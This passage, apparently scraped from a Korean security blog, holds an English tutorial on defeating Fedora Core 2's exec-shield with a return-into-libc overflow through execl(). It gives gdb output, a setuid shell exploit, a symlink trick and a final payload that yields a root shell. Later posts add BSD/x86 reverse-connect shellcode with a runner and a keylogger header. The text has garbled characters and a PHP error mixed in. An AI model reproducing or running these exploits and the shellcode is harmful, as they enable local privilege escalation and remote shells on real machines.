  can't use 'classical' return-into-libc. Most of case, we use the address of system() in
  the return-into-libc technique. Look at the following result from Fedora Core 2:
                                         

  (gdb) x/i setuid
  0x005fefc0 <setuid>:      push   %ebp
  (gdb) x/i system
  0x005ab5e0 <system>:      push   %ebp

 
  As you can see, NULL pointer dereference protection is applied.
 
  Look at the following mapping state of library area.


  [vangelis@testbed fedora]$ cat /proc/25297/maps
  0055b000-00570000 r-xp 00000000 03:05 84857      /lib/ld-2.3.3.so
  00570000-00571000 r--p 00014000 03:05 84857      /lib/ld-2.3.3.so
  00571000-00572000 rw-p 00015000 03:05 84857      /lib/ld-2.3.3.so
  00578000-0068d000 r-xp 00000000 03:05 84858      /lib/tls/libc-2.3.3.so
  0068d000-0068f000 r--p 00115000 03:05 84858      /lib/tls/libc-2.3.3.so
  0068f000-00691000 rw-p 00117000 03:05 84858      /lib/tls/libc-2.3.3.so
  00691000-00693000 rw-p 00000000 00:00 0 
  006ba000-006bc000 r-xp 00000000 03:05 84860      /lib/libdl-2.3.3.so
  006bc000-006bd000 r--p 00001000 03:05 84860      /lib/libdl-2.3.3.so
  006bd000-006be000 rw-p 00002000 03:05 84860      /lib/libdl-2.3.3.so
  008d6000-008d9000 r-xp 00000000 03:05 84874      /lib/libtermcap.so.2.0.8
  008d9000-008da000 rw-p 00002000 03:05 84874      /lib/libtermcap.so.2.0.8
  00bf4000-00bfe000 r-xp 00000000 03:05 80211      /lib/libnss_files-2.3.3.so
  00bfe000-00bff000 r--p 00009000 03:05 80211      /lib/libnss_files-2.3.3.so
  00bff000-00c00000 rw-p 0000a000 03:05 80211      /lib/libnss_files-2.3.3.so
  00f4f000-00f50000 r-xp 00000000 00:00 0 
  08047000-080d2000 r-xp 00000000 03:05 70763      /bin/bash
  080d2000-080d8000 rw-p 0008b000 03:05 70763      /bin/bash
  080d8000-080dc000 rw-p 00000000 00:00 0 
  09a65000-09a86000 rw-p 00000000 00:00 0 
  f6d11000-f6d12000 rw-p 00000000 00:00 0 
  f6d12000-f6d18000 r--s 00000000 03:02 711249     /usr/lib/gconv/gconv-modules.cache
  f6d18000-f6e3f000 r--p 0187d000 03:02 697386     /usr/lib/locale/locale-archive
  f6e3f000-f703f000 r--p 00000000 03:02 697386     /usr/lib/locale/locale-archive
  f703f000-f7080000 rw-p 00000000 00:00 0 
  f70a3000-f70a5000 rw-p fffff000 00:00 0 
  feea4000-ff000000 rw-p fff65000 00:00 0 
  ffffd000-ffffe000 ---p 00000000 00:00 0 
  [vangelis@testbed fedora]$


  The library area is within the ASCII-armor.


3) "If the overflow is within the exec-shield itself (e.g. within the data  section of one
  of  the shared library objects in the ASCII-armor) then  the overflow might be possible
  to exploit."


4) The exec-shield is not an 'exec-blanket' for 100% protection but just one 'exec-barrier'
  against attacks. So it is worth making good hammer to break down the 'exec-barrier'.
  Don't you think so? Now, it's time to make a good hammer or at least a spear.





4. A Good Hammer to Break Down 'exec-barrier'

  Before going into the middle of the battle field, let's check the difference between the
Red Hat 9.0 and Fedora Core 2.  beist(http://beist.org) supplied me with the following neat
table.  


                              [Memory Mapping Table]

 +----------+---------------------------------+--------------------------------+
 |          |       Red HaT LINUX 9.0         |        Fedora CORE2            |
 |----------+---------------------------------+--------------------------------+
 | Library  |   /lib/ld-2.3.2.so              |    /lib/ld-2.3.3.so            |
 |          |    0x40000000 - 0x40016fff      |     0x00415000 - 0x0042bfff    |
 |          |                                 |                                |
 |          |   /lib/tls/libc-2.3.2.so        |    /lib/tls/libc-2.3.3.so      |
 |          |    0x42000000 - 0x42132fff      |     0x00432000 - 0x0054afff    |
 |          |                                 |                                |
 |          |                                 | * position of 'libc-2.3.3.so'  |
 |          |                                 |   may change.                  |
 |----------+---------------------------------+--------------------------------+
 | Text     |      0x8048000 - 0x8048fff      |    0x8048000 - 0x8048fff       |
 +----------+---------------------------------+--------------------------------+
 | Data     |      0x8049000 - 0x8049fff      |    0x8049000 - 0x8049fff       |
 +----------+---------------------------------+--------------------------------+



                              [Main Features]

 +----------------------+-----------------------+---------------------+
 |                      |   Red HaT LINUX 9.0   |    Fedora CORE2     |
 |----------------------+-----------------------+---------------------+
 | Random Stack         |          O            |          O          |
 |----------------------+-----------------------+---------------------+
 | Non-executable Stack |          x            |          O          |
 +----------------------+-----------------------+---------------------+
 | Random Library       |          x            |          O          |
 +----------------------+-----------------------+---------------------+




 Now, let's go into the middle of battle field. As we saw, it might be possible to exploit
the overflow vulnerability if we use data section. More precisly speaking, we will use some
values of data segment area with execl() function.  I'll open the main points right now for
the readers of  this articles  who can't wait any more.  I mean the process of exploit. And
then I will explain each step.


++++++++++++++++++
Steps to exploit
++++++++++++++++++

1) Find the address of <execl+3>, which is used as return address.

2) Examine the data segment area to find the arguments of execl().

3) Examine the values of first argument of execl() to use symbolic link.

4) Make an exploit code for the sake of keeping the privilege of a process and spawning
  a shell.

5) Make symbolic link to the exploit with the values of first argument of execl().

6) Make a final exploit payload as follows:
 
  +-------------------------+--------------------------------+---------------+
  | data to overflow buffer | *first argument of execl() - 8 | *<execl + 3>  |
  +-------------------------+--------------------------------+---------------+



It might be a little difficult for you to understand the whole steps yet. But, Don't worry.
You will find yourself playing with a wonderful hammer to break down the 'exec-barrier'in a
few minutes.


Let's make a simple vulnerable program.

[vangelis@testbed fedora]$ cat > vul.c

[vangelis@testbed fedora]$ gcc -o vul vul.c


Let's make some changes for the perfect test.


[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul

[root@testbed fedora]# ls -l vul
-rwsr-xr-x  1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$



Well.. we are ready to attack the vulnerable program. Do you remember the first step?...
Good! The first step is quite easy. You can find the address of <execl+3> by using gdb.


[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
  &#44611;&#45228;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.

Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
Dump of assembler code for function execl:
0x005fea00 <execl+0>:   push   %ebp
0x005fea01 <execl+1>:   mov    %esp,%ebp
0x005fea03 <execl+3>:   lea    0x10(%ebp),%eax
0x005fea06 <execl+6>:   push   %edi
0x005fea07 <execl+7>:   push   %esi
0x005fea08 <execl+8>:   push   %ebx
0x005fea09 <execl+9>:   sub    $0x1030,%esp
0x005fea0f <execl+15>:  mov    0xc(%ebp),%ecx
0x005fea12 <execl+18>:  movl   $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>:  lea    0x1b(%esp),%esi
0x005fea1d <execl+29>:  and    $0xfffffff0,%esi
0x005fea20 <execl+32>:  call   0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>:  add    $0x905d7,%ebx
0x005fea2b <execl+43>:  mov    %ecx,(%esi)
0x005fea2d <execl+45>:  test   %ecx,%ecx
0x005fea2f <execl+47>:  mov    %eax,0xffffffe8(%ebp)
0x005fea32 <execl+50>:  movl   $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>:  je     0x5fea73 <execl+115>
0x005fea3b <execl+59>:  movl   $0x1a,0xffffffe0(%ebp)
0x005fea42 <execl+66>:  lea    0x0(%esi),%esi
0x005fea49 <execl+73>:  lea    0x0(%edi),%edi
0x005fea50 <execl+80>:  mov    0xfffffff0(%ebp),%edx
0x005fea53 <execl+83>:  cmp    %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>:  je     0x5fea96 <execl+150>
0x005fea58 <execl+88>:  addl   $0x8,0xffffffe0(%ebp)
0x005fea5c <execl+92>:  mov    0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>:  mov    0xffffffec(%ebp),%edi
0x005fea62 <execl+98>:  addl   $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>: mov    (%edx),%ecx
0x005fea68 <execl+104>: mov    %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>: inc    %edi
0x005fea6c <execl+108>: test   %ecx,%ecx
0x005fea6e <execl+110>: mov    %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>: jne    0x5fea50 <execl+80>
0x005fea73 <execl+115>: mov    0xfffffee0(%ebx),%edi
0x005fea79 <execl+121>: mov    (%edi),%ecx
0x005fea7b <execl+123>: mov    %esi,0x4(%esp)
0x005fea7f <execl+127>: mov    0x8(%ebp),%esi
0x005fea82 <execl+130>: mov    %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov    %esi,(%esp)
0x005fea89 <execl+137>: call   0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea    0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop    %ebx
0x005fea92 <execl+146>: pop    %esi
0x005fea93 <execl+147>: pop    %edi
0x005fea94 <execl+148>: pop    %ebp
0x005fea95 <execl+149>: ret    
0x005fea96 <execl+150>: mov    0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov    0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add    %edx,%edx
0x005fea9e <execl+158>: mov    %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and    $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub    %ecx,%esp
0x005feaa6 <execl+166>: mov    %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov    0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea    0x1b(%esp),%edx
0x005feab0 <execl+176>: and    $0xfffffff0,%edx
0x005feab3 <execl+179>: lea    (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp    %esi,%edi
0x005feab8 <execl+184>: je     0x5feacc <execl+204>
0x005feaba <execl+186>: cld    
0x005feabb <execl+187>: mov    0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov    %edx,%edi
0x005feac0 <execl+192>: shl    $0x2,%ecx
0x005feac3 <execl+195>: shr    $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov    %edx,%esi
0x005feaca <execl+202>: jmp    0x5fea58 <execl+88>
0x005feacc <execl+204>: cld    
0x005feacd <execl+205>: mov    0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov    %edx,%edi
0x005fead2 <execl+210>: shl    $0x2,%ecx
0x005fead5 <execl+213>: shr    $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov    %edx,%esi
0x005feadc <execl+220>: mov    0xffffffe4(%ebp),%edi
0x005feadf <execl+223>: mov    0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add    %eax,%edi
0x005feae4 <execl+228>: mov    %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp    0x5fea58 <execl+88>
0x005feaec <execl+236>: nop    
0x005feaed <execl+237>: nop    
0x005feaee <execl+238>: nop    
0x005feaef <execl+239>: nop    
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$


The reason why we don't the address of <execl+0> or <execl+1> is that the value of %ebp may
be changed if "push %ebp" or "mov %esp,%ebp" is executed. We found the address of <execl+3>
very easily by using gdb: 0x005fea03.  



Now, the second step...
Let's  examine  the data segment area  to find the arguments of execl().  As you saw in the
"Memory Mapping Table", data segment starts at 0x8049000.


[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
  &#44611;&#45228;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared
library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.
Error while reading shared library symbols:
: &#27961;&#47747;?&#28479;&#20350; &#25033;&#51343;&#51338;&#9473;&#23195; &#22777;.

Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000:      0x464c457f      0x00010101      0x00000000      0x00000000
0x8049010:      0x00030002      0x00000001      0x080482c0      0x00000034
0x8049020:      0x00000788      0x00000000      0x00200034      0x00280007
0x8049030:      0x0019001c      0x00000006      0x00000034      0x08048034
0x8049040:      0x08048034      0x000000e0      0x000000e0      0x00000005
0x8049050:      0x00000004      0x00000003      0x00000114      0x08048114
0x8049060:      0x08048114      0x00000013      0x00000013      0x00000004
0x8049070:      0x00000001      0x00000001      0x00000000      0x08048000
0x8049080:      0x08048000      0x0000047c      0x0000047c      0x00000005
0x8049090:      0x00001000      0x00000001      0x0000047c      0x0804947c
0x80490a0:      0x0804947c      0x00000100      0x00000104      0x00000006
0x80490b0:      0x00001000      0x00000002      0x00000490      0x08049490
0x80490c0:      0x08049490      0x000000c8
(gdb)
0x80490c8:      0x000000c8      0x00000006      0x00000004      0x00000004
0x80490d8:      0x00000128      0x08048128      0x08048128      0x00000020
0x80490e8:      0x00000020      0x00000004      0x00000004      0x6474e551
0x80490f8:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049108:      0x00000000      0x00000006      0x00000004      0x62696c2f
0x8049118:      0x2d646c2f      0x756e696c      0x6f732e78      0x0000322e
0x8049128:      0x00000004      0x00000010      0x00000001      0x00554e47
0x8049138:      0x00000000      0x00000002      0x00000002      0x00000005
0x8049148:      0x00000003      0x00000006      0x00000004      0x00000001
0x8049158:      0x00000005      0x00000000      0x00000000      0x00000000
0x8049168:      0x00000000      0x00000003      0x00000002      0x00000000
0x8049178:      0x00000000      0x00000000      0x00000000      0x00000044
0x8049188:      0x00000000      0x000000ef
(gdb)
0x8049190:      0x00000012      0x00000035      0x08048474      0x00000004
0x80491a0:      0x000e0011      0x00000001      0x00000000      0x00000000
0x80491b0:      0x00000020      0x00000015      0x00000000      0x00000000
0x80491c0:      0x00000020      0x0000002e      0x00000000      0x00000030
0x80491d0:      0x00000012      0x764a5f00      0x6765525f      0x65747369
0x80491e0:      0x616c4372      0x73657373      0x675f5f00      0x5f6e6f6d
0x80491f0:      0x72617473      0x005f5f74      0x6362696c      0x2e6f732e
0x8049200:      0x74730036      0x79706372      0x4f495f00      0x6474735f
0x8049210:      0x755f6e69      0x00646573      0x696c5f5f      0x735f6362
0x8049220:      0x74726174      0x69616d5f      0x4c47006e      0x5f434249
0x8049230:      0x00302e32      0x00020000      0x00000001      0x00020000
0x8049240:      0x00010001      0x00000024      0x00000010      0x00000000
0x8049250:      0x0d696910      0x00020000
(gdb)
0x8049258:      0x00000056      0x00000000      0x08049558      0x00000406
0x8049268:      0x08049568      0x00000107      0x0804956c      0x00000507
0x8049278:      0x83e58955      0x61e808ec      0xe8000000      0x000000bc
0x8049288:      0x0001a3e8      0x00c3c900      0x956035ff      0x25ff0804
0x8049298:      0x08049564      0x00000000      0x956825ff      0x00680804
0x80492a8:      0xe9000000      0xffffffe0      0x956c25ff      0x08680804
0x80492b8:      0xe9000000      0xffffffd0      0x895eed31      0xf0e483e1
0x80492c8:      0x68525450      0x080483ec      0x0483a468      0x68565108
0x80492d8:      0x08048370      0xffffbfe8      0x9090f4ff      0x53e58955
0x80492e8:      0x000000e8      0xc3815b00      0x0000126f      0xfc838b50
0x80492f8:      0x85ffffff      0xff0274c0      0xfc5d8bd0      0x9090c3c9
0x8049308:      0x83e58955      0x3d8008ec      0x0804957c      0xa1297500
0x8049318:      0x08049578      0xd285108b
(gdb)
0x8049320:      0xf6891774      0xa304c083      0x08049578      0x78a1d2ff
0x8049330:      0x8b080495      0x75d28510      0x7c05c6eb      0x01080495
0x8049340:      0xf689c3c9      0x83e58955      0x8ca108ec      0x85080494
0x8049350:      0xb81974c0      0x00000000      0x1074c085      0x680cec83
0x8049360:      0x0804948c      0xc483d0ff      0x00768d10      0x9090c3c9
0x8049370:      0x81e58955      0x000108ec      0xf0e48300      0x000000b8
0x8049380:      0x83c42900      0x458b08ec      0x04c0830c      0x858d30ff
0x8049390:      0xfffffef8      0xff16e850      0xc483ffff      0x0000b810
0x80493a0:      0xc3c90000      0x57e58955      0xec835356      0x0000e80c
0x80493b0:      0x815b0000      0x0011aac3      0xfebae800      0x938dffff
0x80493c0:      0xffffff20      0xff208b8d      0xca29ffff      0xfac1f631
0x80493d0:      0x73d63902      0x90d7890f      0x20b394ff      0x46ffffff
0x80493e0:      0xf472fe39      0x5b0cc483
(gdb)
0x80493e8:      0xc3c95f5e      0x56e58955      0x0000e853      0x815b0000
0x80493f8:      0x001166c3      0x208b8d00      0x8dffffff      0xffff2083

0x8049408:      0xc1c129ff      0xc98502f9      0x75ff718d      0x003ae80b
0x8049418:      0x5e5b0000      0xf689c3c9      0x20b394ff      0x89ffffff
0x8049428:      0xd2854ef2      0xe5ebf275      0x53e58955      0x947ca152
0x8049438:      0xf8830804      0x947cbbff      0x0c740804      0xff04eb83
0x8049448:      0x83038bd0      0xf475fff8      0xc3c95b58      0x53e58955
0x8049458:      0x000000e8      0xc3815b00      0x000010ff      0xfe9ee852
0x8049468:      0x5d8bffff      0x00c3c9fc      0x00000003      0x00020001
0x8049478:      0x00000000      0xffffffff      0x00000000      0xffffffff
0x8049488 <__DTOR_END__>:       0x00000000      0x00000000      0x00000001      0x00000024
0x8049498 <_DYNAMIC+8>: 0x0000000c      0x08048278      0x0000000d      0x08048454
0x80494a8 <_DYNAMIC+24>:        0x00000004      0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>:        0x00000005      0x080481d4      0x00000006      0x08048174
0x80494c0 <_DYNAMIC+48>:        0x0000000a      0x00000060      0x0000000b      0x00000010
0x80494d0 <_DYNAMIC+64>:        0x00000015      0x005714b8      0x00000003      0x0804955c
0x80494e0 <_DYNAMIC+80>:        0x00000002      0x00000010      0x00000014      0x00000011
0x80494f0 <_DYNAMIC+96>:        0x00000017      0x08048268      0x00000011      0x08048260
0x8049500 <_DYNAMIC+112>:       0x00000012      0x00000008      0x00000013      0x00000008
0x8049510 <_DYNAMIC+128>:       0x6ffffffe      0x08048240      0x6fffffff      0x00000001
0x8049520 <_DYNAMIC+144>:       0x6ffffff0      0x08048234      0x00000000      0x00000000
0x8049530 <_DYNAMIC+160>:       0x00000000      0x00000000      0x00000000      0x00000000
0x8049540 <_DYNAMIC+176>:       0x00000000      0x00000000      0x00000000      0x00000000
0x8049550 <_DYNAMIC+192>:       0x00000000      0x00000000      0x00000000      0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>: 0x005714d0   0x00566830    0x0058c9f0      0x080482b6
0x8049570 <data_start>: 0x00000000      0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830   0x0058c9f0    0x080482b6      0x00000000
0x8049574 <__dso_handle>:       0x00000000      0x08049488      0x00000000      0x00000000
(gdb)



We found the parts which can be used as arguments of execl(). The synopsis is as follows:

           
                execl(char *path, char *arg0,...,char *argn, 0);


As you know and see,  the last argument of execl() must be null. So, the parts which can be
used as arguments of execl() for the sake of our purpose are underlined.



0x8049564 <_GLOBAL_OFFSET_TABLE_+8>: 0x00566830   0x0058c9f0   0x080482b6   0x00000000
                                                 ----------   ----------   ----------
                                                         


We will use execl() like  "execl(0x8049568, 0x804956c, 0x8049570)". We have to use address
values because the arguments must be pointers.



The 3rd step...
Let's examine the values of first argument of execl() to use symbolic link.



(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>:   0x57e58955      0xec835356      0x0c458b4c      0xe810558b
                               ----------      ----------      ----------      ----------

0x58ca00 <__libc_start_main+16>:  0xffffff09    0x25f8c381      0x7d8b0010      0x1c758b18
                                 ----------    ----------              --
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>:   0x00000868      0xffd0e900      0xed31ffff      0x83e1895e
0x80482c6 <_start+6>:   0x5450f0e4      0x83ec6852      0xa4680804      0x51080483
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$



The 25 bytes' data in 0x0058c9f0 is the file name when execl() is called. So we need to make
a symbolic link with this data. Now we make a exploit program.


The fourth step...
Let's make an exploit code which can keep the privilege of a process and spawn a shell. This
exploit will be able to keep  the privilege(setuid(0)) of  the vulnerable program and give a
root shell when we succeed in the attack.


[vangelis@testbed fedora]$ cat > exploit.c
#include <unistd.h>

main()
{

setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/sh", "sh", 0);
}
[vangelis@testbed fedora]$ gcc -o exploit exploit.c




The Fifth step...
It's time to make a symbolic link to the exploit with the values of first argument of execl().


[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"


Let's check the state of symboloic link.

[vangelis@testbed fedora]$ ls -l
&#21050;&#24616;
    24
lrwxrwxrwx  1 vangelis vangelis   29 11?12 11:28 U??WVS??L?E??U?????????%? -> /home/vangelis/fedora/exploit
-rwxrwxr-x  1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r--  1 vangelis vangelis  101 11?12 11:27 exploit.c
-rwsr-xr-x  1 root     root     4725 11?12 10:31 vul
-rw-rw-r--  1 vangelis vangelis   90 11?12 10:31 vul.c
[vangelis@testbed fedora]$


Good..



The last step...
Before we make a payload for the final attack, we have to check how many data we need to
overflow buffer.  We can use gdb for this purpose.  I believe you are not such a fool to
decide the bytes of data to overflow through the glimp of source code of vul.c.  My last
post to Neworder("Stack-based Overflow Exploit:  Introduction to  Classical and Advanced
Overflow Technique",http://neworder.box.sk/newsread.php?newsid=12476) shows that we must
consider the dummy value.



[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>:    push   %ebp
0x08048371 <main+1>:    mov    %esp,%ebp
0x08048373 <main+3>:    sub    $0x108,%esp  // 264 bytes are needed to overflow buffer
0x08048379 <main+9>:    and    $0xfffffff0,%esp
0x0804837c <main+12>:   mov    $0x0,%eax
0x08048381 <main+17>:   sub    %eax,%esp
0x08048383 <main+19>:   sub    $0x8,%esp
0x08048386 <main+22>:   mov    0xc(%ebp),%eax
0x08048389 <main+25>:   add    $0x4,%eax
0x0804838c <main+28>:   pushl  (%eax)
0x0804838e <main+30>:   lea    0xfffffef8(%ebp),%eax
0x08048394 <main+36>:   push   %eax
0x08048395 <main+37>:   call   0x80482b0 <_init+56>
0x0804839a <main+42>:   add    $0x10,%esp
0x0804839d <main+45>:   mov    $0x0,%eax
0x080483a2 <main+50>:   leave  
0x080483a3 <main+51>:   ret    
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$




Now we gathered all data that are necessary to make a wonderful hammer to break down the
'exec-barrier' Let's be a knight of the hammer.


The final payload is as follows:


  +-------------------------+--------------------------------+---------------+
  | data to overflow buffer | *first argument of execl() - 8 | *<execl + 3>  |
  +-------------------------+--------------------------------+---------------+
               ^                                ^                    ^
               |                                |                    |

           264 bytes         0x8049568 - 8 = 0x8049560            0x5fea03



Now we gathered all data that are necessary to make a wonderful hammer to break down the
The reason  of  "*first argument of execl() - 8"  is that  execl()  does  its work  with
calling execve() internally  and execve() references 'ebp+8' when it gets the pointer to
a file name.


Let's swing the hammer.


[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(vangelis) groups=501(vangelis)
sh-2.05b# whoami
root
sh-2.05b#



Wow, you break down the 'exec-barrier'!  You got a root shell.
What a nice knight of the hammer you are!


Before I leave for Christmas Holiday, I want to say that this may not be a perfect manual
to exploit  overflow vulnerability  under Fedora Core environment.  If someone knows more
advanced ways to exploit, I want his or her feedback. Thank you for reading this article.





         +-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+
         |M|e|r|r|y| |C|h|r|i|s|t|m|a|s|
         +-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+

 
    ::::::|                       ,::::
Warning: Unexpected character in input: '' (ASCII=92) state=1 in /home/neworder/site/functions.php on line 524
:|        ++       :|                
    :::"::|:~~/ :::| :::| :\:|   ::|    :::| :::| :| <::< :::| :\/| .::\ <::<
    ::| ::|:::, :|   :|   `::|    '::::/:|:| :|   :| >::>  :|  :::| `::| >::>
                     .,:'    



**********************************************************************************

I want Santa Claus to give me accounts of some kinds of unix operation systems,
for example AIX, Solaris, HP-UX, Mac OS, BSD,....
If you know good Santa Clauses, mail me, please.^^

**********************************************************************************
이올린에 북마크하기(0) 이올린에 추천하기(0)
2007/04/25 14:01 2007/04/25 14:01

맨 위로

WARMING UP on STACK(1~4)

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                            WARMING UP on STACK(1~4)


                        Insecure Programming by example
              (http://community.corest.com/~gera/InsecureProgramming/)

?
이올린에 북마크하기(0) 이올린에 추천하기(0)
2007/04/13 16:27 2007/04/13 16:27

맨 위로

由щ쾭?

2007/04/13 10:33, 글쓴이
/*
* BSD/x86 64 bytes reverse connect code.
*
*                        root@marcetam.net
*/

#define IP        "x7fx00x00x01" /* 127.0.0.1 */        
#define PORT        "x03xe8"           /*   1000    */

char reverse_connect[]=
   "x6ax61"             /* push $0x61       */
   "x58"                 /* pop %eax         */
   "x99"                   /* cdq               */
   "x52"                 /* push %edx        */
   "x42"                 /* inc %edx         */
   "x52"                 /* push %edx        */
   "x42"                 /* inc %edx         */
   "x52"                 /* push %edx               */
   "x68"IP                   /* push IP          */
   "xcdx80"                   /* int $0x80               */
   "x66x68"PORT           /* pushw PORT       */
   "x66x52"             /* pushw %dx               */
   "x89xe6"             /* movb %esp, %esi  */
   "x6ax10"             /* push $0x10       */
   "x56"                 /* push %esi        */
   "x50"                 /* push %eax        */
   "x50"                 /* push %eax        */
   "xb0x62"                   /* movb $0x62, %al  */
   "xcdx80"                   /* int $0x80               */
   "x5b"                   /* pop %ebx               */
   "xb0x5a"                   /* movb $0x5a, %al  */
   "x52"                   /* push %edx        */
   "x53"                   /* push %ebx        */
   "x52"                   /* push %edx        */
   "x4a"                   /* dec %edx               */
   "xcdx80"                   /* int $0x80               */
   "x7dxf6"                   /* jge loop         */
   "x68x6ex2fx73x68" /* push $0x68732f6e */
   "x68x2fx2fx62x69" /* push $0x69622f2f */
   "x89xe3"                   /* mov %esp, %ebx   */
   "x50"                   /* push %eax               */
   "x54"                   /* push %esp        */
   "x53"                   /* push %ebx        */
   "x53"                   /* push %ebx        */
   "xb0x3b"                   /* movb $0x3b, %al  */
   "xcdx80";                   /* int $0x80               */

int main() {
   void (*x)() = (void *) reverse_connect;
   x();
}
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Shell" 카테고리의 다른 글
2007/04/13 10:33 2007/04/13 10:33

맨 위로

Windows Keylogger ?

/////////////////////////////////////////////////////////////
//    Windows Keylogger ?
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Window" 카테고리의 다른 글
2007/04/13 10:22 2007/04/13 10:22

맨 위로